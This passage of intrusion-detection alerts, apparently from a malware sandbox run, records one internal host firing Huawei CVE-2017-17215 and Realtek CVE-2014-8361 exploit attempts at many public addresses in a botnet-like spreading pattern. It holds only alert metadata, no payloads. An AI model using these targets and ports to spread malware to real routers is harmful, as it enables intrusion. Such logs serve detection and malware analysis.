Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.152.243.164

Timestamp:	07/20/24-23:10:46.755097
SID:	2829579
Source Port:	45258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.167.109.170

Timestamp:	07/20/24-23:10:41.237255
SID:	2829579
Source Port:	45544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.170.80.233

Timestamp:	07/20/24-23:10:52.517494
SID:	2829579
Source Port:	49884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 180.55.108.40

Timestamp:	07/20/24-23:10:44.772949
SID:	2027339
Source Port:	42284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.135.54.100

Timestamp:	07/20/24-23:10:41.241455
SID:	2829579
Source Port:	43444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.176.38.133

Timestamp:	07/20/24-23:10:39.479939
SID:	2829579
Source Port:	48814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.221.232.221

Timestamp:	07/20/24-23:10:41.221061
SID:	2835222
Source Port:	49914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 9.118.192.30

Timestamp:	07/20/24-23:10:39.434124
SID:	2829579
Source Port:	53362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 191.96.230.47

Timestamp:	07/20/24-23:10:42.625971
SID:	2831300
Source Port:	39244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 72.211.196.78

Timestamp:	07/20/24-23:10:45.846142
SID:	2025132
Source Port:	49618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 67.65.153.119

Timestamp:	07/20/24-23:10:42.641904
SID:	2831300
Source Port:	41872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 222.31.20.54

Timestamp:	07/20/24-23:10:39.737734
SID:	2025132
Source Port:	42446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 135.178.159.192

Timestamp:	07/20/24-23:10:47.417816
SID:	2025132
Source Port:	59032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.138.13.10

Timestamp:	07/20/24-23:11:06.678578
SID:	2835222
Source Port:	43756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.203.245.203

Timestamp:	07/20/24-23:10:41.227867
SID:	2835222
Source Port:	56432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 167.111.167.13

Timestamp:	07/20/24-23:10:46.580123
SID:	2027339
Source Port:	37422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 134.116.6.133

Timestamp:	07/20/24-23:10:39.187584
SID:	2025132
Source Port:	48776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.0.255.123

Timestamp:	07/20/24-23:10:49.395188
SID:	2829579
Source Port:	52040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.17.147.201

Timestamp:	07/20/24-23:10:40.940896
SID:	2835222
Source Port:	36924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 124.1.175.52

Timestamp:	07/20/24-23:10:49.428717
SID:	2829579
Source Port:	38892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.161.49.75

Timestamp:	07/20/24-23:10:42.253017
SID:	2829579
Source Port:	54942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 48.171.160.205

Timestamp:	07/20/24-23:10:52.045896
SID:	2831300
Source Port:	38138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.18.113.6

Timestamp:	07/20/24-23:10:46.735704
SID:	2835222
Source Port:	34302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.9.212.7

Timestamp:	07/20/24-23:10:42.248237
SID:	2835222
Source Port:	46134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.141.80.64

Timestamp:	07/20/24-23:10:41.224086
SID:	2829579
Source Port:	44576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.122.179.200

Timestamp:	07/20/24-23:10:46.836862
SID:	2829579
Source Port:	43856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.159.22.204

Timestamp:	07/20/24-23:10:46.768902
SID:	2835222
Source Port:	36978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.183.130.205

Timestamp:	07/20/24-23:10:56.035713
SID:	2829579
Source Port:	51440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.62.170.7

Timestamp:	07/20/24-23:10:40.656564
SID:	2829579
Source Port:	37088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.125.193.159

Timestamp:	07/20/24-23:10:46.768902
SID:	2835222
Source Port:	55592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 212.219.251.156

Timestamp:	07/20/24-23:10:42.250388
SID:	2835222
Source Port:	38190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.14.238.220

Timestamp:	07/20/24-23:10:52.563890
SID:	2829579
Source Port:	60842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 191.36.218.84

Timestamp:	07/20/24-23:10:43.214856
SID:	2027339
Source Port:	33894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.147.176.235

Timestamp:	07/20/24-23:10:42.269853
SID:	2829579
Source Port:	60756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.61.167.100

Timestamp:	07/20/24-23:10:49.425318
SID:	2835222
Source Port:	47382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 77.201.115.63

Timestamp:	07/20/24-23:10:51.900424
SID:	2831300
Source Port:	37860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.31.73.154

Timestamp:	07/20/24-23:10:46.711367
SID:	2835222
Source Port:	42892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 70.33.189.136

Timestamp:	07/20/24-23:10:43.398861
SID:	2025132
Source Port:	49388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 148.185.232.135

Timestamp:	07/20/24-23:10:40.650979
SID:	2835222
Source Port:	47976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 72.244.52.162

Timestamp:	07/20/24-23:10:42.620129
SID:	2027339
Source Port:	43006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.215.163.237

Timestamp:	07/20/24-23:10:46.726397
SID:	2835222
Source Port:	59324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 162.136.177.252

Timestamp:	07/20/24-23:10:44.049362
SID:	2027339
Source Port:	45866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.37.247.195

Timestamp:	07/20/24-23:10:46.865461
SID:	2835222
Source Port:	50180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 101.108.145.138

Timestamp:	07/20/24-23:10:45.375206
SID:	2025132
Source Port:	40382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.185.234.171

Timestamp:	07/20/24-23:10:47.596350
SID:	2027339
Source Port:	32838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.36.31.158

Timestamp:	07/20/24-23:10:40.608330
SID:	2829579
Source Port:	59710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 190.40.222.140

Timestamp:	07/20/24-23:10:46.779706
SID:	2829579
Source Port:	43124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 154.244.223.55

Timestamp:	07/20/24-23:10:45.155722
SID:	2025132
Source Port:	36684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.200.61.29

Timestamp:	07/20/24-23:10:56.011228
SID:	2829579
Source Port:	55218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.202.175.248

Timestamp:	07/20/24-23:10:56.030930
SID:	2829579
Source Port:	46288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 117.128.164.33

Timestamp:	07/20/24-23:10:52.558618
SID:	2829579
Source Port:	34838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.241.179.83

Timestamp:	07/20/24-23:10:40.664038
SID:	2829579
Source Port:	42026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.36.226.98

Timestamp:	07/20/24-23:10:56.007995
SID:	2829579
Source Port:	54622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.157.220.94

Timestamp:	07/20/24-23:11:06.662677
SID:	2829579
Source Port:	38100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.18.132.195

Timestamp:	07/20/24-23:10:42.248307
SID:	2829579
Source Port:	38994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 170.167.39.209

Timestamp:	07/20/24-23:10:47.625872
SID:	2027339
Source Port:	37054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.235.78.126

Timestamp:	07/20/24-23:10:55.999553
SID:	2835222
Source Port:	58642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.166.125.235

Timestamp:	07/20/24-23:10:56.024382
SID:	2835222
Source Port:	41702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.62.170.195

Timestamp:	07/20/24-23:10:59.011093
SID:	2835222
Source Port:	39702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 103.44.42.7

Timestamp:	07/20/24-23:10:47.639957
SID:	2027339
Source Port:	42714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 220.171.155.214

Timestamp:	07/20/24-23:10:52.024591
SID:	2027339
Source Port:	54794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.226.172.60

Timestamp:	07/20/24-23:10:52.546429
SID:	2835222
Source Port:	43670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 144.40.158.145

Timestamp:	07/20/24-23:10:51.923394
SID:	2027339
Source Port:	60804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 153.91.88.242

Timestamp:	07/20/24-23:10:52.047769
SID:	2831300
Source Port:	36284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 83.178.139.14

Timestamp:	07/20/24-23:10:53.126805
SID:	2027339
Source Port:	35564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.62.253.162

Timestamp:	07/20/24-23:10:41.220904
SID:	2835222
Source Port:	41220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.20.64.254

Timestamp:	07/20/24-23:11:03.365385
SID:	2835222
Source Port:	36018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 58.115.50.235

Timestamp:	07/20/24-23:10:51.948284
SID:	2027339
Source Port:	50024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.223.201.190

Timestamp:	07/20/24-23:10:41.231287
SID:	2829579
Source Port:	44378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.178.223.191

Timestamp:	07/20/24-23:10:59.055793
SID:	2835222
Source Port:	34624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.108.205.183

Timestamp:	07/20/24-23:10:41.232384
SID:	2835222
Source Port:	50676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 184.114.49.59

Timestamp:	07/20/24-23:10:44.794102
SID:	2025132
Source Port:	43430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 78.250.115.189

Timestamp:	07/20/24-23:10:39.488246
SID:	2829579
Source Port:	47464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.58.176.87

Timestamp:	07/20/24-23:10:52.007232
SID:	2027339
Source Port:	40756
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.113.132.47

Timestamp:	07/20/24-23:10:39.473095
SID:	2835222
Source Port:	38056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.190.168.108

Timestamp:	07/20/24-23:10:42.272034
SID:	2835222
Source Port:	40296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 133.58.253.32

Timestamp:	07/20/24-23:10:42.637866
SID:	2027339
Source Port:	40292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 23.255.13.10

Timestamp:	07/20/24-23:10:45.751253
SID:	2027339
Source Port:	45660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.6.3

Timestamp:	07/20/24-23:10:42.277609
SID:	2829579
Source Port:	49820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.157.125.26

Timestamp:	07/20/24-23:10:59.029814
SID:	2829579
Source Port:	48738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.216.61.141

Timestamp:	07/20/24-23:10:59.004938
SID:	2829579
Source Port:	56882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.190.27.41

Timestamp:	07/20/24-23:10:49.377082
SID:	2835222
Source Port:	46062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 87.2.229.121

Timestamp:	07/20/24-23:10:51.937938
SID:	2831300
Source Port:	32872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 199.155.57.115

Timestamp:	07/20/24-23:10:59.021280
SID:	2829579
Source Port:	38852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.91.25.23

Timestamp:	07/20/24-23:10:49.421978
SID:	2829579
Source Port:	40180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 111.98.52.15

Timestamp:	07/20/24-23:10:46.958520
SID:	2025132
Source Port:	34936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.176.162.29

Timestamp:	07/20/24-23:10:40.642616
SID:	2829579
Source Port:	53176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 206.49.109.215

Timestamp:	07/20/24-23:10:39.931842
SID:	2025132
Source Port:	60064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.138.232.152

Timestamp:	07/20/24-23:11:06.680205
SID:	2829579
Source Port:	42976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 24.166.44.145

Timestamp:	07/20/24-23:10:51.970585
SID:	2831300
Source Port:	35444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.102.185.142

Timestamp:	07/20/24-23:10:55.999553
SID:	2829579
Source Port:	46840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.135.74.226

Timestamp:	07/20/24-23:10:39.431804
SID:	2829579
Source Port:	42676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.63.123.35

Timestamp:	07/20/24-23:10:59.021280
SID:	2835222
Source Port:	34280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.109.236.216

Timestamp:	07/20/24-23:11:03.343633
SID:	2835222
Source Port:	43170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 113.242.211.202

Timestamp:	07/20/24-23:10:49.370142
SID:	2835222
Source Port:	59372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.169.152.167

Timestamp:	07/20/24-23:10:46.809208
SID:	2829579
Source Port:	41136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.156.237.149

Timestamp:	07/20/24-23:11:03.365385
SID:	2829579
Source Port:	39670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.49.218.96

Timestamp:	07/20/24-23:10:46.711367
SID:	2829579
Source Port:	40574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.180.228.252

Timestamp:	07/20/24-23:10:39.462416
SID:	2829579
Source Port:	37890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 66.162.227.137

Timestamp:	07/20/24-23:10:43.855483
SID:	2025132
Source Port:	34410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.120.104.238

Timestamp:	07/20/24-23:10:52.530643
SID:	2835222
Source Port:	37984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.167.165.206

